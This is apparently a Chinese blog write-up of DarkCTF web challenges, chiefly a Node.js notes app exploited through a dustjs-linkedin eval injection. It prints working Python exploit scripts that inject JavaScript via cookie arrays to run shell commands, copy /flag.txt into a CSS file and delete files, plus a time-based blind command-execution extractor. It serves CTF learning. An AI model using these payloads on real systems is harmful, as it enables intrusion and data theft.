好久沒發(fā)新文章了。正好國慶就要到了,加上還有巔峰極客跟國賽要打。所以周五晚上練手了DarkCTF的題目,稍微花了幾小時ak掉當(dāng)時放出的web。其中大部分都比較簡單,其中一道拿了二血的nodejs題目有點意思打算稍微記錄下。
Source
給了源碼跟網(wǎng)頁,主體上就是
<?php
$web = $_SERVER['HTTP_USER_AGENT'];
if (is_numeric($web)){
if (strlen($web) < 4){
if ($web > 10000){
echo ('<div class="w3-panel w3-green"><h3>Correct</h3>
<p>darkCTF{}</p></div>');
} else {
echo ('<div class="w3-panel w3-red"><h3>Wrong!</h3>
<p>Ohhhhh!!! Very Close </p></div>');
}
} else {
echo ('<div class="w3-panel w3-red"><h3>Wrong!</h3>
<p>Nice!!! Near But Far</p></div>');
}
} else {
echo ('<div class="w3-panel w3-red"><h3>Wrong!</h3>
<p>Ahhhhh!!! Try Not Easy</p></div>');
}
?>
取UserAgent作為參數(shù),判斷了字符串長度與數(shù)值大小。簡單使用科學(xué)計數(shù)法9E9即可繞過
Apache Logs
給了個zip然后讓你從里面的log文件里找flag.簡單提取出其中String.fromCharCode部分放到瀏覽器console里轉(zhuǎn)一下即可。不過提交時要用darkCTF而不是DarkCTF
So_Simple
開始沒啥頭緒。后來發(fā)現(xiàn)提示了傳參id.于是很簡單就能發(fā)現(xiàn)是個sql注入。甚至基本上就是sqli-labs的第一關(guān)。union注入從users表中的password里找到某個flag.
Simple_SQL
直接提示傳參id.
普通布爾盲注。沒啥說的。
Dusty Notes
這題花了一些時間。不過做出來時拿了二血還是挺舒服的??吹紻efenit是一血不知道是不是又被posix師傅秒掉了。(posix nodejs 永遠(yuǎn)的神)
首先題目是黑盒測試的。這點對于一個nodejs題目來說增加了不少難度。如果是我出這題可能就直接給源碼了。但是做完后我感覺這種設(shè)計還是很貼近現(xiàn)實的。也給了我一定程度上黑盒測nodejs的手段。
首先題目大致實現(xiàn)了一個note功能??梢酝ㄟ^addNotes路由傳參message。通過deleteNote/{id}來刪除note.
不過簡單看了下cookie發(fā)現(xiàn)內(nèi)容可以由cookie控制
//note
j:[{"id":1,"body":"Hack this"},{"id":2,"body":"1"}]
到這一步為止我有幾種思路
1.nodejs反序列化。
2.原型鏈污染
3.???
首先想到nodejs反序列化是因為以前NahamconCTF解出的一道node題。也是黑盒。然后只有20多解。但是我當(dāng)時是抱著試一試的心態(tài)嘗試了下反序列化居然成功拿到shell.后來發(fā)現(xiàn),之所以會有這種想法就是因為:
數(shù)據(jù)為json串。數(shù)據(jù)由cookie控制
序列化輸出的結(jié)果就是json串,所以黑盒下嘗試node-serialize未嘗不可。當(dāng)然本題自然是失敗了。因此方法也不再多說。
第二種想法自然是因為nodejs中想要出現(xiàn)原型鏈污染實在是太容易了。不過有一說一一道以原型鏈污染為漏洞的ctf題使用公共靶機是非常不妥的,并且一般是給出源碼進行測試。加上此處并沒有什么顯眼的模板使用比如ejs。因此是原型鏈污染的可能性也不大。
此時基本上常規(guī)的思路已經(jīng)走不通了。但是我簡單fuzz了一下
addNotes?note[]=1
addNotes?note[toString]=1
發(fā)現(xiàn)它是沒有做只能傳字符串的限制的。一般來說,不對參數(shù)類型做限制時,我們可以傳入數(shù)組或?qū)ο?。因此在傳入對象時這里會觸發(fā)報錯。
然后重點就來了,觸發(fā)的報錯內(nèi)容如下
{"stack":"TypeError: Cannot convert object to primitive value\n at Tap.head (/app/node_modules/dustjs-helpers/lib/dust-helpers.js:121:25)\n at Tap.go (/app/node_modules/dustjs-linkedin/lib/dust.js:812:19)\n at Chunk.write (/app/node_modules/dustjs-linkedin/lib/dust.js:556:19)\n at Chunk.reference (/app/node_modules/dustjs-linkedin/lib/dust.js:611:19)\n at body_4 (evalmachine.<anonymous>:1:1634)\n at Chunk.render (/app/node_modules/dustjs-linkedin/lib/dust.js:598:12)\n at Object.tap (/app/node_modules/dustjs-helpers/lib/dust-helpers.js:123:8)\n at Object.if (/app/node_modules/dustjs-helpers/lib/dust-helpers.js:213:27)\n at Chunk.helper (/app/node_modules/dustjs-linkedin/lib/dust.js:769:34)\n at body_1 (evalmachine.<anonymous>:1:972)\n at Chunk.section (/app/node_modules/dustjs-linkedin/lib/dust.js:654:21)\n at body_0 (evalmachine.<anonymous>:1:847)\n at /app/node_modules/dustjs-linkedin/lib/dust.js:122:11\n at processTicksAndRejections (internal/process/task_queues.js:79:11)","message":"Cannot convert object to primitive value"}
爆出了當(dāng)前路徑/app以及一個依賴dustjs-linkedin/lib/dust.js
(這里多嘴一句,這里一開始defenit拿到一血后長達(dá)4個多小時都沒有其他解,并且當(dāng)時觸發(fā)報錯時題目只會爆500而不是像上面這樣打印報錯traceback,后來改了題才有了這個報錯棧)
看到這個dust加上題目名中的dust,去搜索一波的話不難發(fā)現(xiàn)存在一個漏洞
并且有文章在實戰(zhàn)中遇到解決
https://artsploit.blogspot.com/2016/08/pprce2.html
簡單說就是,dust的模板會進入一個if語句執(zhí)行eval。但是如果我們直接傳入?yún)?shù)時它會把敏感字符做處理,而如果傳入數(shù)組時則不會處理敏感字符,即可rce。
再多嘴一句,到確定是dust的洞這一步我本來以為彈個shell就完事了。結(jié)果測了好久發(fā)現(xiàn)不知道是不通外網(wǎng)還是沒能執(zhí)行。差點以為找錯洞了。直到他改了題才發(fā)現(xiàn)dust依賴確認(rèn)沒找錯洞,專心測下去的。
當(dāng)然沒有報錯我們也有幾種辦法確認(rèn)此處存在dust的eval漏洞
比如
addNotes?message=aaa%5C
會導(dǎo)致
eval("'xxx\' == 'desktop'");
觸發(fā)報錯
再比如
addNotes?message[]=&message[]=y%27-console.log(7)
也會報錯。因為我們此時引號沒有被轉(zhuǎn)義直接送入eval.觸發(fā)報錯。
所以,如果有著良好的FUZZ手段,黑盒也可以fuzz出問題并確認(rèn)依賴錯誤。
最后,我們使用eval語句命令執(zhí)行。當(dāng)然因為不通外網(wǎng)沒有回顯所以非常狗。我最后選擇把結(jié)果寫靜態(tài)文件。并且這里靜態(tài)目錄是猜了一手public。所以可以直接寫/proc/self/cwd/public/css/style.css或者在爆出是app目錄后直接寫/app/public/css
exp
url="http://dusty.darkarmy.xyz/"
data="""j:[{"id":1,"body": ["1","1'-console.log(require('child_process').exec('cat /flag.txt > /app/public/css/style.css').toString());//"]}]"""
print(quote(data))
r=requests.get(url,cookies={'note':quote(data)})
print(r.text)
r=requests.get(url+'css/style.css')
print(r.text)
data="""j:[{"id":1,"body": ["1","1'-console.log(require('child_process').exec('rm /app/public/css/style.css').toString());//"]}]"""
print(quote(data))
r=requests.get(url,cookies={'note':quote(data)})
cookie可控所有內(nèi)容上面說過了。只不過測試時因為路由好用就沒控cookie.
做出來后問了下出題人果然不是預(yù)期。當(dāng)然這里我不太確定預(yù)期是啥,不過差的應(yīng)該不多。當(dāng)然聊完后出題人順手修了下寫文件的權(quán)限 :)
然后就是這種做法我自己也不是很喜歡。自己出過的nodejs題目在可以rce的情況下我都把工作目錄按root權(quán)限設(shè)置。就是為了防止寫文件。不過一般會配置了防止時間盲注time-based-rce,所以都會給出rce的回顯
所以這里猜一手本題預(yù)期的方法是time-based-rce:
exp
import time
import requests
from urllib.parse import quote,unquote
import string
url="http://dusty.darkarmy.xyz/"
def js_exp(str1):
x=[]
str1 = str1.strip(' ')
for ch in str1:
x.append(str(ord(ch)))
t=','.join(x)
result='eval(String.fromCharCode('+t+'))'
return result
flag=""
for num in range(1,50):
print(num)
for i in string.printable:
cmd = """require('child_process').execSync(`if [ $(cat /flag.txt | cut -c {}) = '{}' ];then sleep 3;fi`)""".format(num,i)
payload = js_exp(cmd)
data = """j:[{"id":1,"body": ["1","1'-""" + payload + """;//"]}]"""
t = time.time()
r = requests.get(url, cookies={'note': quote(data)})
if time.time() - t > 3:
flag += i
print(flag)
break
flag:
darkCTF{n0d3js_l1br4r13s_go3s_brrrr!}
因為一些格式原因。我把payload用eval轉(zhuǎn)化了一下,這樣看起來更舒服一些.并且不用擔(dān)心奇奇怪怪的引號問題 :)
不過題目我覺得很有啟發(fā)性,主要是給了我一些面對nodejs黑盒處理的手段。那就是利用其容易報錯的特性進行FUZZ,得到目錄這樣的關(guān)鍵信息,或者是依賴的關(guān)鍵信息。同時一定程度上可以推測語句,甚至不需要知道依賴漏洞的細(xì)節(jié)就能直接上手。
最后道個歉,因為把flag寫到css里后自己就把css給刪了。導(dǎo)致后面題目一直沒有style.css......
summary
后面的題在打巔峰極客摸魚時看了看。做了個入門題跟一個User-Agent的報錯注入??傊y度整體很入門就沒繼續(xù)看了。
沒啥說的。巔峰極客體驗了一把帶飛的感覺。國賽就要靠自己動手豐衣足食了。加油吧。